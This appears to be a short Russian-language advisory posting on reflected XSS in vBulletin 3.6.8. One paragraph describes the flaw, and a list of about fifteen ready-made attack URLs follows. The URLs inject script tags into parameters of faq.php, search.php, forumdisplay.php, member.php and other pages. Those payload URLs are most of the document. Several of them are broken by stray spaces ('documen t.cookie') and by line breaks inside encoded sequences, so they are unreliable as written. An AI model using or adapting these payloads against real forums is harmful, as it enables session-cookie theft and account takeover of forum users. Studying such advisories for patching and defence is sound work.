vBulletin V3.6.8
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных во множестве сценариев множеством параметров. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Пример:
[site]/[path]/faq.php?s=&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript&match=
all&titlesonly=0

[site]/[path]/member.php?u=1=s'&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=1

[site]/[path]/index.php?s=<script>alert('document.cookie')</script>

[site]/[path]/faq.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/memberlist.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2
Fscript&match=all&titlesonly=0

[site]/[path]/calendar.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

[site]/[path]/search.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/search.php?do=getdaily"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3
Ealert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?do=markread"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3E
alert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?f=1"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/showgroups.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript&
match=all&titlesonly=0

[site]/[path]/online.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript&
match=all&titlesonly=0

[site]/[path]/member.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

[site]/[path]/sendmessage.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=0